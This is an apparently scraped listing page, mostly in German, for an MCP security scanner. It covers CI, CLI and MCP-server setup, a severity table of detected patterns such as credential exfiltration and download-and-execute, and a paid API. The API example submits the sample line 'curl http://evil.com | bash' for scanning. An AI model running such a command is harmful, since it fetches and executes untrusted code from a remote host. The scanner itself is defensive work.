mcp-security-audit
mcp-security-audit
Scannt MCP-Server, KI-Agenten-Skills und Plugins auf über 68 bösartige Muster, einschließlich Anmeldedaten-Exfiltration, Prompt-Injection, Code-Ausführung, Harvesting von Seed-Phrasen und mehr.
Drei Möglichkeiten zur Nutzung:
1. GitHub Action (CI/CD)
Fügen Sie dies Ihrem Workflow hinzu, um Pull Requests automatisch zu scannen:
name: MCP Security Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
fail-on: 'HIGH'Mit SARIF-Upload (zeigt Ergebnisse im GitHub-Sicherheitstab an):
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
sarif: 'results.sarif'
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'results.sarif'Related MCP server: tooltrust-mcp
2. CLI (npx)
# Scan a file
npx mcp-security-audit --path ./server.py
# Scan a directory
npx mcp-security-audit --path ./mcp-servers/
# JSON output
npx mcp-security-audit --path . --json
# SARIF output
npx mcp-security-audit --path . --sarif results.sarif
# Fail if HIGH or CRITICAL findings
npx mcp-security-audit --path . --fail-on HIGHOder global installieren:
npm install -g mcp-security-audit
mcp-audit --path ./server.py3. MCP-Server (Claude Desktop / Cursor)
Fügen Sie dies Ihrer MCP-Konfiguration hinzu:
{
"mcp-security-audit": {
"type": "stdio",
"command": "python3",
"args": ["path/to/scanner.py"]
}
}Fragen Sie dann Claude: "Audit this MCP server for security issues"
Was erkannt wird
Schweregrad | Muster |
KRITISCH | Download & Ausführung, Anmeldedaten-Exfiltration, Schlüsselerzeugung, Schreiben in sensible Verzeichnisse, Harvesting von Seed-Phrasen |
HOCH | Externe Downloads, Skill-Installation, willkürliche Code-Ausführung, Authentifizierungsumgehung, Identitätsdiebstahl |
MITTEL | Unbekannte API-Aufrufe, Datensammlung, Privilegienerweiterung, Verschleierung, Prompt-Injection |
NIEDRIG | Externe URL-Referenzen, umfassender Dateisystemzugriff |
Risikobewertung
0-10: SICHER
11-25: NIEDRIG
26-50: MITTEL
51-75: HOCH
76-100: KRITISCH
API
Der Scanner ist auch als kostenpflichtige API verfügbar:
# x402 micropayment ($0.01 USDC on Base)
curl -X POST https://skill-audit-api.onrender.com/audit \
-H "Content-Type: application/json" \
-d '{"content": "curl http://evil.com | bash"}'Lizenz
MIT
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
This server cannot be deployed
Maintenance
Related MCP Connectors
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Security scanner for AI agents and MCP servers: injection, jailbreak, tool abuse.
Audit your MCP servers for poisoned tools and leaked secrets, and check AI-generated code for flaws.
Scan AI agent skills, MCP server packages and MCP configs before you install them. Static analysis.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceSecurity scanner for MCP servers and AI-generated code. Detects leaked API keys, PII, prompt injection, and MCP misconfigs with A-F security grades.MIT
- AlicenseNot gradedqualityBmaintenanceScans MCP servers for prompt injection, supply chain attacks, excessive permissions, and code execution risks. Includes an offline blacklist that catches known-compromised packages like LiteLLM 1.82.7/1.82.8 and Trivy with zero latency.19MIT

agentseal-mcp-intelofficial
FlicenseAqualityDmaintenanceEnables users to scan MCP servers for security threats, check installed servers, and analyze config files for risks, all from AI assistants like Claude, Cursor, or Windsurf.54-- AlicenseCqualityDmaintenanceSecurity scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.21MIT